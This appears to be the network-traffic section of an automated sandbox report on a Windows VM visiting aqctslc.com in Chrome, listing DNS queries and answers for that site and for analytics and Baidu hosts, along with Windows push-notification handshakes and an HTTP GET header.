Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 00:51:26.567459106 CET	53	52991	1.1.1.1	192.168.2.6
Jan 10, 2025 00:51:26.674052954 CET	53	62777	1.1.1.1	192.168.2.6
Jan 10, 2025 00:51:27.697068930 CET	53	59750	1.1.1.1	192.168.2.6
Jan 10, 2025 00:51:30.460660934 CET	55458	53	192.168.2.6	1.1.1.1
Jan 10, 2025 00:51:30.460767031 CET	63831	53	192.168.2.6	1.1.1.1
Jan 10, 2025 00:51:30.467185020 CET	53	55458	1.1.1.1	192.168.2.6
Jan 10, 2025 00:51:30.467673063 CET	53	63831	1.1.1.1	192.168.2.6
Jan 10, 2025 00:51:32.316276073 CET	57750	53	192.168.2.6	1.1.1.1
Jan 10, 2025 00:51:32.316658020 CET	55967	53	192.168.2.6	1.1.1.1
Jan 10, 2025 00:51:32.542341948 CET	53	55967	1.1.1.1	192.168.2.6
Jan 10, 2025 00:51:32.831505060 CET	53	57750	1.1.1.1	192.168.2.6
Jan 10, 2025 00:51:33.908031940 CET	56812	53	192.168.2.6	1.1.1.1
Jan 10, 2025 00:51:33.908258915 CET	49965	53	192.168.2.6	1.1.1.1
Jan 10, 2025 00:51:33.923165083 CET	53	49965	1.1.1.1	192.168.2.6
Jan 10, 2025 00:51:33.946870089 CET	53	56812	1.1.1.1	192.168.2.6
Jan 10, 2025 00:51:35.751024008 CET	54072	53	192.168.2.6	1.1.1.1
Jan 10, 2025 00:51:35.751355886 CET	54002	53	192.168.2.6	1.1.1.1
Jan 10, 2025 00:51:35.763531923 CET	53	54002	1.1.1.1	192.168.2.6
Jan 10, 2025 00:51:35.764147043 CET	53	54072	1.1.1.1	192.168.2.6
Jan 10, 2025 00:51:35.970864058 CET	63982	53	192.168.2.6	1.1.1.1
Jan 10, 2025 00:51:35.971004009 CET	49483	53	192.168.2.6	1.1.1.1
Jan 10, 2025 00:51:36.012079954 CET	55912	53	192.168.2.6	1.1.1.1
Jan 10, 2025 00:51:36.012435913 CET	59111	53	192.168.2.6	1.1.1.1
Jan 10, 2025 00:51:36.030534983 CET	53	57037	1.1.1.1	192.168.2.6
Jan 10, 2025 00:51:36.210700989 CET	53	55912	1.1.1.1	192.168.2.6
Jan 10, 2025 00:51:36.405656099 CET	53	63982	1.1.1.1	192.168.2.6
Jan 10, 2025 00:51:36.551296949 CET	53	49483	1.1.1.1	192.168.2.6
Jan 10, 2025 00:51:36.560928106 CET	53	59111	1.1.1.1	192.168.2.6
Jan 10, 2025 00:51:38.290030003 CET	56001	53	192.168.2.6	1.1.1.1
Jan 10, 2025 00:51:38.290415049 CET	55687	53	192.168.2.6	1.1.1.1
Jan 10, 2025 00:51:38.373055935 CET	61868	53	192.168.2.6	1.1.1.1
Jan 10, 2025 00:51:38.373203993 CET	55503	53	192.168.2.6	1.1.1.1
Jan 10, 2025 00:51:38.861279964 CET	53	56001	1.1.1.1	192.168.2.6
Jan 10, 2025 00:51:38.862513065 CET	53	55687	1.1.1.1	192.168.2.6
Jan 10, 2025 00:51:38.920200109 CET	53	55503	1.1.1.1	192.168.2.6
Jan 10, 2025 00:51:38.933486938 CET	53	61868	1.1.1.1	192.168.2.6
Jan 10, 2025 00:51:39.679538965 CET	58027	53	192.168.2.6	1.1.1.1
Jan 10, 2025 00:51:39.679717064 CET	52332	53	192.168.2.6	1.1.1.1
Jan 10, 2025 00:51:39.687117100 CET	53	52332	1.1.1.1	192.168.2.6
Jan 10, 2025 00:51:39.888108015 CET	53	58027	1.1.1.1	192.168.2.6
Jan 10, 2025 00:51:40.497750998 CET	58509	53	192.168.2.6	1.1.1.1
Jan 10, 2025 00:51:40.497823954 CET	63393	53	192.168.2.6	1.1.1.1
Jan 10, 2025 00:51:40.504549980 CET	53	58509	1.1.1.1	192.168.2.6
Jan 10, 2025 00:51:40.505184889 CET	53	63393	1.1.1.1	192.168.2.6
Jan 10, 2025 00:51:40.955049038 CET	53	55071	1.1.1.1	192.168.2.6
Jan 10, 2025 00:51:40.955533028 CET	53	57243	1.1.1.1	192.168.2.6
Jan 10, 2025 00:51:41.651084900 CET	54169	53	192.168.2.6	1.1.1.1
Jan 10, 2025 00:51:41.651500940 CET	63104	53	192.168.2.6	1.1.1.1
Jan 10, 2025 00:51:41.818778038 CET	53	63104	1.1.1.1	192.168.2.6
Jan 10, 2025 00:51:41.863430977 CET	53	54169	1.1.1.1	192.168.2.6
Jan 10, 2025 00:51:42.213107109 CET	64474	53	192.168.2.6	1.1.1.1
Jan 10, 2025 00:51:42.213253975 CET	65257	53	192.168.2.6	1.1.1.1
Jan 10, 2025 00:51:42.374522924 CET	53	65257	1.1.1.1	192.168.2.6
Jan 10, 2025 00:51:42.422163010 CET	53	64474	1.1.1.1	192.168.2.6
Jan 10, 2025 00:51:44.121891975 CET	60851	53	192.168.2.6	1.1.1.1
Jan 10, 2025 00:51:44.122169018 CET	50327	53	192.168.2.6	1.1.1.1
Jan 10, 2025 00:51:44.129312992 CET	53	60851	1.1.1.1	192.168.2.6
Jan 10, 2025 00:51:44.129539013 CET	53	50327	1.1.1.1	192.168.2.6
Jan 10, 2025 00:51:44.781352997 CET	53	51600	1.1.1.1	192.168.2.6
Jan 10, 2025 00:52:03.827153921 CET	53	54995	1.1.1.1	192.168.2.6
Jan 10, 2025 00:52:26.375289917 CET	53	50484	1.1.1.1	192.168.2.6
Jan 10, 2025 00:52:26.875092030 CET	53	60520	1.1.1.1	192.168.2.6

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Jan 10, 2025 00:51:36.551398039 CET	192.168.2.6	1.1.1.1	c28a	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 00:51:30.460660934 CET	192.168.2.6	1.1.1.1	0x4ee6	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 00:51:30.460767031 CET	192.168.2.6	1.1.1.1	0x64a7	Standard query (0)	www.google.com	65	IN (0x0001)	false
Jan 10, 2025 00:51:32.316276073 CET	192.168.2.6	1.1.1.1	0x831	Standard query (0)	aqctslc.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 00:51:32.316658020 CET	192.168.2.6	1.1.1.1	0xa48e	Standard query (0)	aqctslc.com	65	IN (0x0001)	false
Jan 10, 2025 00:51:33.908031940 CET	192.168.2.6	1.1.1.1	0x4024	Standard query (0)	imagesspace.hks3.layerstackobjects.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 00:51:33.908258915 CET	192.168.2.6	1.1.1.1	0xf7fd	Standard query (0)	imagesspace.hks3.layerstackobjects.com	65	IN (0x0001)	false
Jan 10, 2025 00:51:35.751024008 CET	192.168.2.6	1.1.1.1	0xd3ba	Standard query (0)	imagesspace.hks3.layerstackobjects.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 00:51:35.751355886 CET	192.168.2.6	1.1.1.1	0x7de9	Standard query (0)	imagesspace.hks3.layerstackobjects.com	65	IN (0x0001)	false
Jan 10, 2025 00:51:35.970864058 CET	192.168.2.6	1.1.1.1	0xf0de	Standard query (0)	sdk.51.la	A (IP address)	IN (0x0001)	false
Jan 10, 2025 00:51:35.971004009 CET	192.168.2.6	1.1.1.1	0xa639	Standard query (0)	sdk.51.la	65	IN (0x0001)	false
Jan 10, 2025 00:51:36.012079954 CET	192.168.2.6	1.1.1.1	0xf832	Standard query (0)	aqctslc.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 00:51:36.012435913 CET	192.168.2.6	1.1.1.1	0xf53a	Standard query (0)	aqctslc.com	65	IN (0x0001)	false
Jan 10, 2025 00:51:38.290030003 CET	192.168.2.6	1.1.1.1	0x108d	Standard query (0)	collect-v6.51.la	A (IP address)	IN (0x0001)	false
Jan 10, 2025 00:51:38.290415049 CET	192.168.2.6	1.1.1.1	0xb23	Standard query (0)	collect-v6.51.la	65	IN (0x0001)	false
Jan 10, 2025 00:51:38.373055935 CET	192.168.2.6	1.1.1.1	0x8fed	Standard query (0)	sdk.51.la	A (IP address)	IN (0x0001)	false
Jan 10, 2025 00:51:38.373203993 CET	192.168.2.6	1.1.1.1	0x3a71	Standard query (0)	sdk.51.la	65	IN (0x0001)	false
Jan 10, 2025 00:51:39.679538965 CET	192.168.2.6	1.1.1.1	0xac2b	Standard query (0)	zz.bdstatic.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 00:51:39.679717064 CET	192.168.2.6	1.1.1.1	0x3352	Standard query (0)	zz.bdstatic.com	65	IN (0x0001)	false
Jan 10, 2025 00:51:40.497750998 CET	192.168.2.6	1.1.1.1	0x9ca7	Standard query (0)	collect-v6.51.la	A (IP address)	IN (0x0001)	false
Jan 10, 2025 00:51:40.497823954 CET	192.168.2.6	1.1.1.1	0x1e2d	Standard query (0)	collect-v6.51.la	65	IN (0x0001)	false
Jan 10, 2025 00:51:41.651084900 CET	192.168.2.6	1.1.1.1	0x6228	Standard query (0)	zz.bdstatic.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 00:51:41.651500940 CET	192.168.2.6	1.1.1.1	0x79ae	Standard query (0)	zz.bdstatic.com	65	IN (0x0001)	false
Jan 10, 2025 00:51:42.213107109 CET	192.168.2.6	1.1.1.1	0x88a4	Standard query (0)	sp0.baidu.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 00:51:42.213253975 CET	192.168.2.6	1.1.1.1	0x24ba	Standard query (0)	sp0.baidu.com	65	IN (0x0001)	false
Jan 10, 2025 00:51:44.121891975 CET	192.168.2.6	1.1.1.1	0x552e	Standard query (0)	sp0.baidu.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 00:51:44.122169018 CET	192.168.2.6	1.1.1.1	0x57db	Standard query (0)	sp0.baidu.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 00:51:30.467185020 CET	1.1.1.1	192.168.2.6	0x4ee6	No error (0)	www.google.com		142.250.186.164	A (IP address)	IN (0x0001)	false
Jan 10, 2025 00:51:30.467673063 CET	1.1.1.1	192.168.2.6	0x64a7	No error (0)	www.google.com			65	IN (0x0001)	false
Jan 10, 2025 00:51:32.831505060 CET	1.1.1.1	192.168.2.6	0x831	No error (0)	aqctslc.com		38.165.16.38	A (IP address)	IN (0x0001)	false
Jan 10, 2025 00:51:33.923165083 CET	1.1.1.1	192.168.2.6	0xf7fd	No error (0)	imagesspace.hks3.layerstackobjects.com			65	IN (0x0001)	false
Jan 10, 2025 00:51:33.946870089 CET	1.1.1.1	192.168.2.6	0x4024	No error (0)	imagesspace.hks3.layerstackobjects.com		104.26.3.190	A (IP address)	IN (0x0001)	false
Jan 10, 2025 00:51:33.946870089 CET	1.1.1.1	192.168.2.6	0x4024	No error (0)	imagesspace.hks3.layerstackobjects.com		104.26.2.190	A (IP address)	IN (0x0001)	false
Jan 10, 2025 00:51:33.946870089 CET	1.1.1.1	192.168.2.6	0x4024	No error (0)	imagesspace.hks3.layerstackobjects.com		172.67.74.191	A (IP address)	IN (0x0001)	false
Jan 10, 2025 00:51:35.763531923 CET	1.1.1.1	192.168.2.6	0x7de9	No error (0)	imagesspace.hks3.layerstackobjects.com			65	IN (0x0001)	false
Jan 10, 2025 00:51:35.764147043 CET	1.1.1.1	192.168.2.6	0xd3ba	No error (0)	imagesspace.hks3.layerstackobjects.com		172.67.74.191	A (IP address)	IN (0x0001)	false
Jan 10, 2025 00:51:35.764147043 CET	1.1.1.1	192.168.2.6	0xd3ba	No error (0)	imagesspace.hks3.layerstackobjects.com		104.26.2.190	A (IP address)	IN (0x0001)	false
Jan 10, 2025 00:51:35.764147043 CET	1.1.1.1	192.168.2.6	0xd3ba	No error (0)	imagesspace.hks3.layerstackobjects.com		104.26.3.190	A (IP address)	IN (0x0001)	false
Jan 10, 2025 00:51:36.210700989 CET	1.1.1.1	192.168.2.6	0xf832	No error (0)	aqctslc.com		38.165.16.38	A (IP address)	IN (0x0001)	false
Jan 10, 2025 00:51:36.405656099 CET	1.1.1.1	192.168.2.6	0xf0de	No error (0)	sdk.51.la	sdk.51.la.d183e8b1.cdnhwcgqa21.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 00:51:36.405656099 CET	1.1.1.1	192.168.2.6	0xf0de	No error (0)	sdk.51.la.d183e8b1.cdnhwcgqa21.com	hcdnwsa120.v5.cdnhwczoy106.cn		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 00:51:36.405656099 CET	1.1.1.1	192.168.2.6	0xf0de	No error (0)	hcdnwsa120.v5.cdnhwczoy106.cn		199.91.74.185	A (IP address)	IN (0x0001)	false
Jan 10, 2025 00:51:36.405656099 CET	1.1.1.1	192.168.2.6	0xf0de	No error (0)	hcdnwsa120.v5.cdnhwczoy106.cn		199.91.74.208	A (IP address)	IN (0x0001)	false
Jan 10, 2025 00:51:36.405656099 CET	1.1.1.1	192.168.2.6	0xf0de	No error (0)	hcdnwsa120.v5.cdnhwczoy106.cn		199.91.74.209	A (IP address)	IN (0x0001)	false
Jan 10, 2025 00:51:36.405656099 CET	1.1.1.1	192.168.2.6	0xf0de	No error (0)	hcdnwsa120.v5.cdnhwczoy106.cn		199.91.74.184	A (IP address)	IN (0x0001)	false
Jan 10, 2025 00:51:36.551296949 CET	1.1.1.1	192.168.2.6	0xa639	No error (0)	sdk.51.la	sdk.51.la.d183e8b1.cdnhwcgqa21.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 00:51:36.551296949 CET	1.1.1.1	192.168.2.6	0xa639	No error (0)	sdk.51.la.d183e8b1.cdnhwcgqa21.com	hcdnwsa120.v5.cdnhwczoy106.cn		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 00:51:38.861279964 CET	1.1.1.1	192.168.2.6	0x108d	No error (0)	collect-v6.51.la	collect-v6.51.la.d183e8b1.cdnhwcgqa21.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 00:51:38.861279964 CET	1.1.1.1	192.168.2.6	0x108d	No error (0)	collect-v6.51.la.d183e8b1.cdnhwcgqa21.com	hcdnwsa120.v5.cdnhwczoy106.cn		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 00:51:38.861279964 CET	1.1.1.1	192.168.2.6	0x108d	No error (0)	hcdnwsa120.v5.cdnhwczoy106.cn		90.84.164.16	A (IP address)	IN (0x0001)	false
Jan 10, 2025 00:51:38.861279964 CET	1.1.1.1	192.168.2.6	0x108d	No error (0)	hcdnwsa120.v5.cdnhwczoy106.cn		38.54.26.74	A (IP address)	IN (0x0001)	false
Jan 10, 2025 00:51:38.861279964 CET	1.1.1.1	192.168.2.6	0x108d	No error (0)	hcdnwsa120.v5.cdnhwczoy106.cn		38.54.26.75	A (IP address)	IN (0x0001)	false
Jan 10, 2025 00:51:38.861279964 CET	1.1.1.1	192.168.2.6	0x108d	No error (0)	hcdnwsa120.v5.cdnhwczoy106.cn		90.84.164.15	A (IP address)	IN (0x0001)	false
Jan 10, 2025 00:51:38.862513065 CET	1.1.1.1	192.168.2.6	0xb23	No error (0)	collect-v6.51.la	collect-v6.51.la.d183e8b1.cdnhwcgqa21.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 00:51:38.862513065 CET	1.1.1.1	192.168.2.6	0xb23	No error (0)	collect-v6.51.la.d183e8b1.cdnhwcgqa21.com	hcdnwsa120.v5.cdnhwczoy106.cn		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 00:51:38.920200109 CET	1.1.1.1	192.168.2.6	0x3a71	No error (0)	sdk.51.la	sdk.51.la.d183e8b1.cdnhwcgqa21.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 00:51:38.920200109 CET	1.1.1.1	192.168.2.6	0x3a71	No error (0)	sdk.51.la.d183e8b1.cdnhwcgqa21.com	hcdnwsa120.v5.cdnhwczoy106.cn		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 00:51:38.933486938 CET	1.1.1.1	192.168.2.6	0x8fed	No error (0)	sdk.51.la	sdk.51.la.d183e8b1.cdnhwcgqa21.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 00:51:38.933486938 CET	1.1.1.1	192.168.2.6	0x8fed	No error (0)	sdk.51.la.d183e8b1.cdnhwcgqa21.com	hcdnwsa120.v5.cdnhwczoy106.cn		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 00:51:38.933486938 CET	1.1.1.1	192.168.2.6	0x8fed	No error (0)	hcdnwsa120.v5.cdnhwczoy106.cn		148.153.240.68	A (IP address)	IN (0x0001)	false
Jan 10, 2025 00:51:38.933486938 CET	1.1.1.1	192.168.2.6	0x8fed	No error (0)	hcdnwsa120.v5.cdnhwczoy106.cn		90.84.161.16	A (IP address)	IN (0x0001)	false
Jan 10, 2025 00:51:38.933486938 CET	1.1.1.1	192.168.2.6	0x8fed	No error (0)	hcdnwsa120.v5.cdnhwczoy106.cn		90.84.161.20	A (IP address)	IN (0x0001)	false
Jan 10, 2025 00:51:38.933486938 CET	1.1.1.1	192.168.2.6	0x8fed	No error (0)	hcdnwsa120.v5.cdnhwczoy106.cn		90.84.161.21	A (IP address)	IN (0x0001)	false
Jan 10, 2025 00:51:39.687117100 CET	1.1.1.1	192.168.2.6	0x3352	No error (0)	zz.bdstatic.com	sslzz.jomodns.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 00:51:39.888108015 CET	1.1.1.1	192.168.2.6	0xac2b	No error (0)	zz.bdstatic.com	sslzz.jomodns.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 00:51:39.888108015 CET	1.1.1.1	192.168.2.6	0xac2b	No error (0)	sslzz.jomodns.com		58.254.150.48	A (IP address)	IN (0x0001)	false
Jan 10, 2025 00:51:40.504549980 CET	1.1.1.1	192.168.2.6	0x9ca7	No error (0)	collect-v6.51.la	collect-v6.51.la.d183e8b1.cdnhwcgqa21.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 00:51:40.504549980 CET	1.1.1.1	192.168.2.6	0x9ca7	No error (0)	collect-v6.51.la.d183e8b1.cdnhwcgqa21.com	hcdnwsa120.v5.cdnhwczoy106.cn		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 00:51:40.504549980 CET	1.1.1.1	192.168.2.6	0x9ca7	No error (0)	hcdnwsa120.v5.cdnhwczoy106.cn		199.91.74.208	A (IP address)	IN (0x0001)	false
Jan 10, 2025 00:51:40.504549980 CET	1.1.1.1	192.168.2.6	0x9ca7	No error (0)	hcdnwsa120.v5.cdnhwczoy106.cn		199.91.74.209	A (IP address)	IN (0x0001)	false
Jan 10, 2025 00:51:40.504549980 CET	1.1.1.1	192.168.2.6	0x9ca7	No error (0)	hcdnwsa120.v5.cdnhwczoy106.cn		199.91.74.185	A (IP address)	IN (0x0001)	false
Jan 10, 2025 00:51:40.504549980 CET	1.1.1.1	192.168.2.6	0x9ca7	No error (0)	hcdnwsa120.v5.cdnhwczoy106.cn		199.91.74.184	A (IP address)	IN (0x0001)	false
Jan 10, 2025 00:51:40.505184889 CET	1.1.1.1	192.168.2.6	0x1e2d	No error (0)	collect-v6.51.la	collect-v6.51.la.d183e8b1.cdnhwcgqa21.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 00:51:40.505184889 CET	1.1.1.1	192.168.2.6	0x1e2d	No error (0)	collect-v6.51.la.d183e8b1.cdnhwcgqa21.com	hcdnwsa120.v5.cdnhwczoy106.cn		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 00:51:41.818778038 CET	1.1.1.1	192.168.2.6	0x79ae	No error (0)	zz.bdstatic.com	sslzz.jomodns.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 00:51:41.863430977 CET	1.1.1.1	192.168.2.6	0x6228	No error (0)	zz.bdstatic.com	sslzz.jomodns.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 00:51:41.863430977 CET	1.1.1.1	192.168.2.6	0x6228	No error (0)	sslzz.jomodns.com		58.254.150.48	A (IP address)	IN (0x0001)	false
Jan 10, 2025 00:51:42.374522924 CET	1.1.1.1	192.168.2.6	0x24ba	No error (0)	sp0.baidu.com	www.a.shifen.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 00:51:42.374522924 CET	1.1.1.1	192.168.2.6	0x24ba	No error (0)	www.a.shifen.com	www.wshifen.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 00:51:42.422163010 CET	1.1.1.1	192.168.2.6	0x88a4	No error (0)	sp0.baidu.com	www.a.shifen.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 00:51:42.422163010 CET	1.1.1.1	192.168.2.6	0x88a4	No error (0)	www.a.shifen.com	www.wshifen.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 00:51:42.422163010 CET	1.1.1.1	192.168.2.6	0x88a4	No error (0)	www.wshifen.com		103.235.46.96	A (IP address)	IN (0x0001)	false
Jan 10, 2025 00:51:42.422163010 CET	1.1.1.1	192.168.2.6	0x88a4	No error (0)	www.wshifen.com		103.235.47.188	A (IP address)	IN (0x0001)	false
Jan 10, 2025 00:51:44.129312992 CET	1.1.1.1	192.168.2.6	0x552e	No error (0)	sp0.baidu.com	www.a.shifen.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 00:51:44.129312992 CET	1.1.1.1	192.168.2.6	0x552e	No error (0)	www.a.shifen.com	www.wshifen.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 00:51:44.129312992 CET	1.1.1.1	192.168.2.6	0x552e	No error (0)	www.wshifen.com		103.235.46.96	A (IP address)	IN (0x0001)	false
Jan 10, 2025 00:51:44.129312992 CET	1.1.1.1	192.168.2.6	0x552e	No error (0)	www.wshifen.com		103.235.47.188	A (IP address)	IN (0x0001)	false
Jan 10, 2025 00:51:44.129539013 CET	1.1.1.1	192.168.2.6	0x57db	No error (0)	sp0.baidu.com	www.a.shifen.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 00:51:44.129539013 CET	1.1.1.1	192.168.2.6	0x57db	No error (0)	www.a.shifen.com	www.wshifen.com		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

aqctslc.com

https:

imagesspace.hks3.layerstackobjects.com

sdk.51.la

collect-v6.51.la

zz.bdstatic.com

sp0.baidu.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.6	49709	40.113.110.67	443

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:26 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 74 4c 32 46 72 64 57 6f 37 6b 69 6e 57 47 42 6e 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 37 64 31 64 62 64 66 61 37 61 33 37 37 39 62 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: tL2FrdWo7kinWGBn.1Context: 47d1dbdfa7a3779b
2025-01-09 23:51:26 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2025-01-09 23:51:26 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 74 4c 32 46 72 64 57 6f 37 6b 69 6e 57 47 42 6e 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 37 64 31 64 62 64 66 61 37 61 33 37 37 39 62 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 59 4e 76 78 51 38 4f 2b 6b 35 4f 41 55 2f 74 76 6e 75 58 62 30 72 66 39 4a 4d 49 76 30 4b 69 67 39 32 6c 66 56 52 62 71 74 37 52 37 51 45 43 57 72 63 6b 47 54 67 42 53 36 58 2f 36 68 33 71 7a 58 70 39 6e 6f 46 51 64 68 38 54 61 38 31 38 78 70 64 65 35 58 51 30 7a 76 75 2b 4a 63 7a 73 49 72 59 6e 34 78 48 44 6b 42 4f 79 79 61 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: tL2FrdWo7kinWGBn.2Context: 47d1dbdfa7a3779b<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAYNvxQ8O+k5OAU/tvnuXb0rf9JMIv0Kig92lfVRbqt7R7QECWrckGTgBS6X/6h3qzXp9noFQdh8Ta818xpde5XQ0zvu+JczsIrYn4xHDkBOyya
2025-01-09 23:51:26 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 74 4c 32 46 72 64 57 6f 37 6b 69 6e 57 47 42 6e 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 37 64 31 64 62 64 66 61 37 61 33 37 37 39 62 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: tL2FrdWo7kinWGBn.3Context: 47d1dbdfa7a3779b<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2025-01-09 23:51:27 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2025-01-09 23:51:27 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 31 48 65 5a 4e 77 72 58 7a 30 53 74 6d 61 5a 39 45 44 4b 75 49 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 1HeZNwrXz0StmaZ9EDKuIw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49731	38.165.16.38	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:33 UTC	654	OUT	GET / HTTP/1.1 Host: aqctslc.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 23:51:33 UTC	246	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 09 Jan 2025 23:51:33 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Cache-Control: no-transform Access-Control-Allow-Origin: *
